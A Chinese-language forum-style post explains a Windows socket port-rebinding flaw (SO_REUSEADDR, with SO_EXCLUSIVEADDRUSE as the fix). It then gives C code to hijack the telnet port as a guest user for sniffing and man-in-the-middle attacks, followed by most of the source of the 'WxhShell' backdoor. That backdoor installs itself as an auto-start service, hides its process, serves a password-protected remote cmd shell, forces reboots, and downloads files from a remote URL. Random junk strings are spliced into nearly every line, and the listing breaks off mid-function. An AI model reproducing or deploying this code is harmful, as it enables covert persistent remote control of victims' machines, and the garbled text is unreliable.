在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a:PS}_. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T:$zNX<f nt/+?Sj saddr.sin_family = AF_INET;
f PoC
yl 0/8rYBV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kKFSCl/g b6IYo!3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*cdr,AD?lH !bnuC c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
idm!6] )\:cL GM
这意味着什么?意味着可以进行如下的攻击:
kAbkhZ1^ z2m%L0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1_Um6vS# TJ:B_F*bSk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
OHqc,@a;+ \haJe~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$c-h'o &S}i)Nu6J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TzXivE@mm [<)/
c>Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)`RF2Y-A7 cxTP4\T\E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rz]0i@ehv' x?J-
{6k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
't$(Ruw IT,TSs/Y #include
rh*Pl]'3z #include
Md \yXp #include
`U4R%
qhWA #include
w ' E DWORD WINAPI ClientThread(LPVOID lpParam);
zN(fZT}K5 int main()
uiO7sf6 {
W;]*&P[[
WORD wVersionRequested;
|kvom 4 T DWORD ret;
|bQX9|L WSADATA wsaData;
"_qH+=_R BOOL val;
wVvk{tS SOCKADDR_IN saddr;
$73j*@EQA SOCKADDR_IN scaddr;
v535LwFW int err;
/r#.BXP SOCKET s;
sXzxEhp SOCKET sc;
h1.]Nl
C int caddsize;
`~Eo;'( +^ HANDLE mt;
Le9^,B@Pb DWORD tid;
`}1IQ.3 wVersionRequested = MAKEWORD( 2, 2 );
B2~KkMF err = WSAStartup( wVersionRequested, &wsaData );
c9\jELO if ( err != 0 ) {
zcGeXX}V? printf("error!WSAStartup failed!\n");
#>-_z return -1;
.Od.lxz"mp }
.*u, !1u saddr.sin_family = AF_INET;
k+>-?S, AZ)H/#be //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[&n2 yt m~ %\f8w-x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p=U*4[9k saddr.sin_port = htons(23);
;z;O}<8s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i,R<`K0 {
Kk2PWJ7 printf("error!socket failed!\n");
\ajy%$;$} return -1;
L]L-000D( }
G#ov2 val = TRUE;
Cf`s:A5<J //SO_REUSEADDR选项就是可以实现端口重绑定的
]/!#: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:E/]Bjq$; {
^[}^+ printf("error!setsockopt failed!\n");
3^l@!Qw return -1;
+K4d(!Sb }
6[kp# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z 6^AO=3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Rh-e
C6P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!/G2vF" TI-8I) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7aVQp3< {
1hj']#vBu ret=GetLastError();
4I7} printf("error!bind failed!\n");
>HatbbA return -1;
F}P+3IaE }
[*U6L<JI listen(s,2);
T] d9tX- while(1)
!es?GJq` {
M]YK]VyG caddsize = sizeof(scaddr);
^9zL[R //接受连接请求
1BK-uv: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Xc;W9e(U if(sc!=INVALID_SOCKET)
OosxuAC( {
mG2*s ^$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J[rpMQ if(mt==NULL)
<zE,T@c {
T+7O+X# printf("Thread Creat Failed!\n");
won;tO]\;@ break;
m@)~.E }
b: UTq
7^ }
[(U:1&x& CloseHandle(mt);
M=hxOta }
H%`Ja('"p closesocket(s);
nZe2bai WSACleanup();
/k3v\Jq{ return 0;
F$P8"q+ }
]6NpHDip1 DWORD WINAPI ClientThread(LPVOID lpParam)
5q<AMg
{
Lu!o!>b SOCKET ss = (SOCKET)lpParam;
4$LVl SOCKET sc;
G9ku(2cq unsigned char buf[4096];
+CL`]'~;E- SOCKADDR_IN saddr;
BwwOaO@L long num;
SW|{)L, DWORD val;
25%[nkO4 DWORD ret;
[F4]pR( //如果是隐藏端口应用的话,可以在此处加一些判断
fQcJyX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m[6?v;w saddr.sin_family = AF_INET;
S%zn {1F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
T9.3 saddr.sin_port = htons(23);
Q[EpE, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c8!q_H~ {
[%'yHb~< printf("error!socket failed!\n");
Eb66GXF[ return -1;
o.IJ4'}aN }
c3,YA,skb! val = 100;
4SRX@/ #8* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{\3ZmF {
bK:mt `
ret = GetLastError();
z97RNT|Y7U return -1;
Os--@5e }
tB4dkWt.} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Hd
H, {
0Z9>%\km_ ret = GetLastError();
Vx$ ?)& return -1;
*#p}>\Y{ }
T.\=R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4X tIMa28 {
EaaLN<i@0 printf("error!socket connect failed!\n");
g{wOq{7V closesocket(sc);
|P!7T. closesocket(ss);
&Z!O return -1;
yClX!OL }
Q!7il<S while(1)
A)"?GK{* {
KwO;ICdJ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
PhTMXv<cE //如果是嗅探内容的话,可以再此处进行内容分析和记录
J?VMQTa/+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5Fa.X|R~ num = recv(ss,buf,4096,0);
Fq\vFt|m< if(num>0)
S"+X+Oxp7? send(sc,buf,num,0);
Yxik.S+G else if(num==0)
2wR?ON=Q break;
BZHba8c( num = recv(sc,buf,4096,0);
)5n*4A if(num>0)
6
axe send(ss,buf,num,0);
yOHVL~F else if(num==0)
\\w<.\Yh break;
X@;;
h }
o~<ith$A* closesocket(ss);
>@?!-Fy5 closesocket(sc);
h"R{{yf2 return 0 ;
}7)iLfi }
E6+c{4 1B gEr@L
&c[.&L,w4 ==========================================================
Eod'Esye5 *Ae>
,LyE 下边附上一个代码,,WXhSHELL
+9EG6"..@H ')eg6IC0&T ==========================================================
5dwC~vn}c Lg6;FbY? #include "stdafx.h"
haNi[| 2>`m1q: #include <stdio.h>
~4-:;8a #include <string.h>
C8dC_9 #include <windows.h>
_,r2g8qm #include <winsock2.h>
d2'1
6.lV #include <winsvc.h>
);*:UzsC_ #include <urlmon.h>
:Y4m3| i`k{}!F #pragma comment (lib, "Ws2_32.lib")
E~]37!,\\9 #pragma comment (lib, "urlmon.lib")
k5M3g* ,%Go.3i[ #define MAX_USER 100 // 最大客户端连接数
_=Y?' gHH #define BUF_SOCK 200 // sock buffer
Zw@=WW[Q`p #define KEY_BUFF 255 // 输入 buffer
H5MO3DJ z[vHMJ
0 #define REBOOT 0 // 重启
+"P!es\q #define SHUTDOWN 1 // 关机
EhWYFQ MKiP3kt8 #define DEF_PORT 5000 // 监听端口
qXF#qS-28 M%{,?a0V #define REG_LEN 16 // 注册表键长度
U+[ p>iP #define SVC_LEN 80 // NT服务名长度
nC6 ;:uM wlC7;u // 从dll定义API
8&q[jxI@8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GpwoS1#)0| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/Py1Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
opaRk.p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7&O0 YB`1S // wxhshell配置信息
uv#."_Va struct WSCFG {
)\O;Rt( int ws_port; // 监听端口
/&>vhpZ} char ws_passstr[REG_LEN]; // 口令
X0FTD':f int ws_autoins; // 安装标记, 1=yes 0=no
*OM+d$l! char ws_regname[REG_LEN]; // 注册表键名
OdSglB char ws_svcname[REG_LEN]; // 服务名
Sm5T/&z char ws_svcdisp[SVC_LEN]; // 服务显示名
BQo$c~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
b+/z,c6w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
AQ)DiH int ws_downexe; // 下载执行标记, 1=yes 0=no
1\u{1
V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
A
WS[e$Mt2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;rj|> W]B75 };
[H4)p ,R _GW, 9s^A // default Wxhshell configuration
tDWoQ&z2t_ struct WSCFG wscfg={DEF_PORT,
P >>VBh? "xuhuanlingzhe",
UI]UxEJ 1,
?GT,Y5 "Wxhshell",
i:/Ws1=q "Wxhshell",
q+ZN$4 m "WxhShell Service",
O yG# "Wrsky Windows CmdShell Service",
fk5$z0 / "Please Input Your Password: ",
~~iFs ,9 1,
r,8~qHbOT "
http://www.wrsky.com/wxhshell.exe",
8~!9bg6C "Wxhshell.exe"
(qyT,K8 };
u%24%
Q ]yAOKmS // 消息定义模块
,v@C=4'm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
P9yg char *msg_ws_prompt="\n\r? for help\n\r#>";
dTTC6?yPXf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]tsp}M@ char *msg_ws_ext="\n\rExit.";
,^n5UA`PK char *msg_ws_end="\n\rQuit.";
-hU1wX%U char *msg_ws_boot="\n\rReboot...";
1}/37\ char *msg_ws_poff="\n\rShutdown...";
"K)ue@? char *msg_ws_down="\n\rSave to ";
JIOeDuw+ wSPwa,)7s char *msg_ws_err="\n\rErr!";
7;rf$\-& char *msg_ws_ok="\n\rOK!";
x\K9|_! . UaLP char ExeFile[MAX_PATH];
'UFPQ int nUser = 0;
a<CJ#B2K HANDLE handles[MAX_USER];
lHI?GiB@ int OsIsNt;
Y'U]!c9 #+ai G52+ SERVICE_STATUS serviceStatus;
/RBIZ_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
+@mgb4_ wf""=; // 函数声明
\$Q? int Install(void);
5sZqX.XVF int Uninstall(void);
vxZ :l int DownloadFile(char *sURL, SOCKET wsh);
U$m[{r2M int Boot(int flag);
{8e4TD9E0 void HideProc(void);
)YY8`\F>1 int GetOsVer(void);
\R|qXB $ int Wxhshell(SOCKET wsl);
N2.(0 G void TalkWithClient(void *cs);
spG3"Eodi int CmdShell(SOCKET sock);
?'/#Gt` int StartFromService(void);
M{)|9F int StartWxhshell(LPSTR lpCmdLine);
H[[#h=r0f I7]qTS[vg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L7"B`oa(p VOID WINAPI NTServiceHandler( DWORD fdwControl );
^@f-Ni\ ?Zh,W(7W // 数据结构和表定义
M
$\!SXL SERVICE_TABLE_ENTRY DispatchTable[] =
79d<,q;uR {
Sau?Y {wscfg.ws_svcname, NTServiceMain},
z/P^Bx]r {NULL, NULL}
*z
}<eq };
Xf6\{ &]S\GnqlU] // 自我安装
j<PpCL_8% int Install(void)
+@BjQ|UZ {
!V27ln KP+ char svExeFile[MAX_PATH];
DTN)#GCtF HKEY key;
|y DaFv strcpy(svExeFile,ExeFile);
EHH+)mlo E5Zxp3 N // 如果是win9x系统,修改注册表设为自启动
V]W-**j< if(!OsIsNt) {
l|L
]==M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(_n U}<y_i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&pFP=|Pq RegCloseKey(key);
%d^ =$Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z" N}f
, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jn._4TQ*} RegCloseKey(key);
d
Z P;f^^ return 0;
FB }8 }
8Y
P7'Fz }
JrGY`6##p }
hOR1RB else {
nq 9{{oe E6+ 6 // 如果是NT以上系统,安装为系统服务
Xu%8Q?] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a+
s%9l if (schSCManager!=0)
kn= fW1 {
2'-o'z< SC_HANDLE schService = CreateService
RN ~pC (
4YyVh.x schSCManager,
K-Fro~U wscfg.ws_svcname,
tE"IE$$1 wscfg.ws_svcdisp,
TFI$>Oz| SERVICE_ALL_ACCESS,
={B?hjo<- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W/G75o~6 SERVICE_AUTO_START,
3Q2z+`x' SERVICE_ERROR_NORMAL,
TQ69O + svExeFile,
.9$
7
+ NULL,
"W@>lf?" NULL,
0}wmBSl NULL,
+?ilTU NULL,
qK,PuD7i" NULL
!CUX13/0 );
6fV;V:1{ if (schService!=0)
ij&T\):d {
UhbGU G CloseServiceHandle(schService);
1JY3c
M CloseServiceHandle(schSCManager);
UUR` m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+qee8QH strcat(svExeFile,wscfg.ws_svcname);
,niQs+'< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S&{#sl#e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
AI9#\$aGV RegCloseKey(key);
%3es+A@ return 0;
J?oEzf;M }
f<LRM }
aB2t /ua CloseServiceHandle(schSCManager);
g;\_MbfP }
\!df)qdu }
H&=fD` Xq VL8yL`~zc. return 1;
3)_(t.$D }
XpT+xv1`; R@lA5w // 自我卸载
j!/=w q int Uninstall(void)
;bYLQ {
x]pZcx9 HKEY key;
lJ(];/% SxW.dT8{ if(!OsIsNt) {
;, ^AR{+x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xr]<v%,C RegDeleteValue(key,wscfg.ws_regname);
p{w:^l( RegCloseKey(key);
QP<vjj% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"4WwiI9 RegDeleteValue(key,wscfg.ws_regname);
ANlzF&K RegCloseKey(key);
#iAw/a0& return 0;
2}kJN8\F }
#8i9@w }
)5Ofr-Y }
_g%h:G&^ else {
A*TO0L :nn(Ndlz9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r%vO^8FQ if (schSCManager!=0)
qqr]S^WW {
:\IZ- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
FGu#Pa if (schService!=0)
s E0ldN" {
xAu&O\V if(DeleteService(schService)!=0) {
a4x(lx& CloseServiceHandle(schService);
MBO>.M$B CloseServiceHandle(schSCManager);
u$nYddak return 0;
^ SW!S_&Z2 }
mM\jU5P:^ CloseServiceHandle(schService);
hDD]Kc;G^1 }
I@l }%L CloseServiceHandle(schSCManager);
N5Ih+8zT }
u8b^DB#+W }
Bw4 _hlm 'WcP+4c return 1;
Z
lR2 }
CNrK]+> C#:L.qK // 从指定url下载文件
5v5K}hx int DownloadFile(char *sURL, SOCKET wsh)
cnR18NK {
:i/uRR HRESULT hr;
x|U[|i,; char seps[]= "/";
/}R*'y char *token;
#mW#K
char *file;
nPj
&a char myURL[MAX_PATH];
&0JCZ/e char myFILE[MAX_PATH];
nx|b9W< 1 2J#}| strcpy(myURL,sURL);
,xuA%CF-S token=strtok(myURL,seps);
,&0iFUwN_ while(token!=NULL)
VTs
,Ln!,U {
UCI !>G file=token;
w/Y6m.i1 token=strtok(NULL,seps);
@{o3NR_ }
W'f)W4D$6 i3U_G^8 GetCurrentDirectory(MAX_PATH,myFILE);
%C~LKs5oH strcat(myFILE, "\\");
k/.a
yLq strcat(myFILE, file);
!R3ZyZcX send(wsh,myFILE,strlen(myFILE),0);
Y!fgc<]'& send(wsh,"...",3,0);
xL}~R7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A&7~]BR\ if(hr==S_OK)
#ByrX\ return 0;
z-`-0@/A$ else
GCv*a[8?n return 1;
EbMG9 TY*uK }
@Xl/<S& V8+8?5'l // 系统电源模块
wfrSI:+> int Boot(int flag)
Z Ne(sg~G {
=SpD6
9-H HANDLE hToken;
aT20FEZ; TOKEN_PRIVILEGES tkp;
z P=3B%$ zjUT:#(k if(OsIsNt) {
%fB!XCW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
UwVc!Lys LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K4j2xSGeo tkp.PrivilegeCount = 1;
CyV(+KBe_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-/gAb<= if(flag==REBOOT) {
6*%E4#4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vz}_^8O return 0;
P"ATqQG%D }
N!YjM x)P else {
oz#;7
?9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(#5TM1/A return 0;
{5J: ]{p }
I'a&n}jx }
O+*<^*YyD else {
jb0LMl}/A if(flag==REBOOT) {
bYB:Fe=2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
boWaH}?0' return 0;
6[SE*/E@L }
HG:9yP<,o else {
@&}~r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$C`YVv%?0 return 0;
Fa^I 1fk }
O YayTKxN }
iK=SK3)vR Ry4`Q$=: return 1;
tk~<tqMq }
PYJ8\XZ1_N 5`Oaf\S // win9x进程隐藏模块
v]e6CZwo void HideProc(void)
>TB Rp,;r {
m8C
scCZ} ^:64(7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
sB'Z9 if ( hKernel != NULL )
_MST8 {
PR;A 0
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)]P%= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z
Vj FreeLibrary(hKernel);
2%gLq }
<6[P5> ?0VETa ~m return;
~$:=hT1 }
:iVEm9pB) R4q)FXW29 // 获取操作系统版本
VFjNrngl int GetOsVer(void)
z57|9$h}w {
L"ob))GF OSVERSIONINFO winfo;
,V{Cy`bi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;+Uc}= GetVersionEx(&winfo);
ua
HB\Uc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*hZ{> return 1;
R@Bnrk else
V/CZcMY_ return 0;
SRBQ"X[M2 }
5"o)^8!> usz H1@g' // 客户端句柄模块
siK:?A@4D int Wxhshell(SOCKET wsl)
U?sio%`( {
JtGBNz!" SOCKET wsh;
z4iZE*ZS struct sockaddr_in client;
~
$QNp#dq DWORD myID;
FNB4YZ6 VT~jgsY while(nUser<MAX_USER)
~LufHbr {
, \
6*fXc int nSize=sizeof(client);
[7*$Sd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4E~!$Ustx if(wsh==INVALID_SOCKET) return 1;
04wO9L; BkcA_a:W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HA W57N if(handles[nUser]==0)
xXn2M*g closesocket(wsh);
P
K9BowlW else
Ki{]5Rz nUser++;
<QZ X"" }
PS3%V_2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?84B0K2Ns $TR#-q return 0;
fx`oe }
BjsF5~+\ jpI=B // 关闭 socket
wrmbO T void CloseIt(SOCKET wsh)
$(JB"%S8c {
g W(7jFl closesocket(wsh);
nD/;
Gq nUser--;
(TQhO$, ExitThread(0);
3I%F,-r }
;0 No@G;z zb=L[2; // 客户端请求句柄
>+8Kl`2sw; void TalkWithClient(void *cs)
.X)TRD#MW {
hm+,o_+ B9Y*'hmI SOCKET wsh=(SOCKET)cs;
iZbY@-3fc char pwd[SVC_LEN];
P]wCC`qi char cmd[KEY_BUFF];
"- XJZ;5 char chr[1];
NwB;9ZhZ int i,j;
^ua8Ya @}B,l.Tj while (nUser < MAX_USER) {
lhRo+X#G w=MiJr#3^ if(wscfg.ws_passstr) {
Q@HW`@i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U{%N.4: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wdzZ41y1 //ZeroMemory(pwd,KEY_BUFF);
Y]-7T-*+t i=0;
+rcDA| while(i<SVC_LEN) {
U~1jmxE 5^ +QTQ // 设置超时
(iO8[ fd_set FdRead;
9u2Mra struct timeval TimeOut;
k5ZkD+0Jo FD_ZERO(&FdRead);
`SH#t3
5, FD_SET(wsh,&FdRead);
oM4Q_A n TimeOut.tv_sec=8;
>L {s[pLJ TimeOut.tv_usec=0;
o6LZ05Z-& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8R;A5o, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Mu?hB{o1 t3b64J[A{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F^bzE5# pwd
=chr[0]; &9:"X
if(chr[0]==0xd || chr[0]==0xa) { }W)c-91
pwd=0; ]x<`(
break; '4J];Nj0
} X
\GB:#:X
i++; pz]T9ol~
} 5oP31
:2_8.+:
// 如果是非法用户,关闭 socket yw3E$~ k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }jWZqIqj
} @+(TM5Ub
Ebk_(Py\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5l
ioL)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FsdxLMwk1
*'&mcEpg
while(1) { Rz_fNlA
JDA :)[;
ZeroMemory(cmd,KEY_BUFF); R]y[n;aGC
2A^>>Q/,u
// 自动支持客户端 telnet标准 6x$1En
j=0; }q~M$
while(j<KEY_BUFF) { vn0}l6n3s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eGi[LJ)np
cmd[j]=chr[0]; gBZ1We u-'
if(chr[0]==0xa || chr[0]==0xd) { |&hu3-(
cmd[j]=0; *'q6#\#.
break; },@1i<Bb
} 5C^oqUZ
j++; d
l<7jM?
} 6IyD7PQ
ci~pM<+
// 下载文件 00d<V:Aoy
if(strstr(cmd,"http://")) { DL:wiQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B- `,h pp
if(DownloadFile(cmd,wsh)) q\f Z Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s#`H
else P$=BmBq18`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?%Pd:~4D
} qbwX*E~;
else { k Up[b~
cJ>
#jl&
switch(cmd[0]) { GVaIZh<
S3oSc<&2
// 帮助 $<[Q8V-
case '?': { QlmZ4fT[r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r?l7_aBv3
break; D0 f.XWd
} TrBBV]4
// 安装 H]XY
case 'i': { ~)k OOoH
if(Install()) r- :u*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8LMO2Wyq
else O
DLRzk(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bZB7t`C5
break; !&k}YF
} 9O.okU
// 卸载 XYM 5'
case 'r': { YgN:$+g5
if(Uninstall())
x=%p~$C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/p 2| 4;
else 0F495'*A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +mgmC_Q(0
break; >5aZ?#TS1
} VW[!%<
// 显示 wxhshell 所在路径 2qF
?%
case 'p': { R2 I
7d'|v
char svExeFile[MAX_PATH]; _7#9nJ3|
strcpy(svExeFile,"\n\r"); 1JFCYJy
strcat(svExeFile,ExeFile); /2n-q_
send(wsh,svExeFile,strlen(svExeFile),0); S?M'JoYy
break; C " W,
} )Uk!;b
// 重启 H:d@@/
case 'b': { gC+PpY#2h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d\_$Nb*
if(Boot(REBOOT)) z~S(OM@olJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b85r=tm
else { ^bZ'z
closesocket(wsh); mYy{G s7
ExitThread(0); LL}|#%4d
} r}1.=a
break; j<HBzqP%6
} oVK3=m@{
// 关机 S{q c1qj
case 'd': { 1j9R^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tLz,t&h
if(Boot(SHUTDOWN)) i Sm
.E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ID#p5`3n
else { m!qbQMXn
closesocket(wsh); yFYFFv\?
ExitThread(0); z;dFS
} 3Dd"qON!
break; kTjx.
} @&AUbxoj
// 获取shell ?OYK'p.
case 's': { <:,m
CmdShell(wsh); ^{IF2_h"
closesocket(wsh); /.{q2]
ExitThread(0); Z/r =4
break; u?J!3ZEtb
} nkp,
// 退出 iE~][_%U
case 'x': { us,!U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *u i!|;
CloseIt(wsh); v*.[O/,EBR
break; I:ag}L8`
}
(SEE(G35
// 离开 bK\Mn95]
case 'q': { TQ{rg2_T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); k"kGQk4
closesocket(wsh); &tAhRMa
WSACleanup(); <K(qv^C
exit(1); f6I$d<
break; *v' d1.Z
} xksd&X:
} qPn}$1+~
} 1kd\Fq^z$
]WsQ=
// 提示信息 :?2@qWaL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cj,Yy
} [eb?Fd~WB]
} {Tps3{|wt
J|uxn<E<>
return; R 2{ kS
} 95wi~^^
>{seaihK
// shell模块句柄 OzVCqq"]
int CmdShell(SOCKET sock) O3YD
jas
{ VP7g::Ab
STARTUPINFO si; }f~:>N#
ZeroMemory(&si,sizeof(si)); <Va7XX%>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MsaD@JY.y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R;G"LT
PROCESS_INFORMATION ProcessInfo; %M=Ob k
char cmdline[]="cmd"; P?#I9y7iP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /#lqv)s'
return 0; StuQ}
} r@O5{V
uuD|%-Ng
// 自身启动模式 DFk0"+Ky
int StartFromService(void) 7CK3t/3D
{ kE8\\}B7
typedef struct isG8S(}IW&
{ d7f{2
DWORD ExitStatus; 4R(H@p%+r2
DWORD PebBaseAddress; ($h`Y;4
DWORD AffinityMask; 2@A%;f0Q
DWORD BasePriority; gPW% *|D,
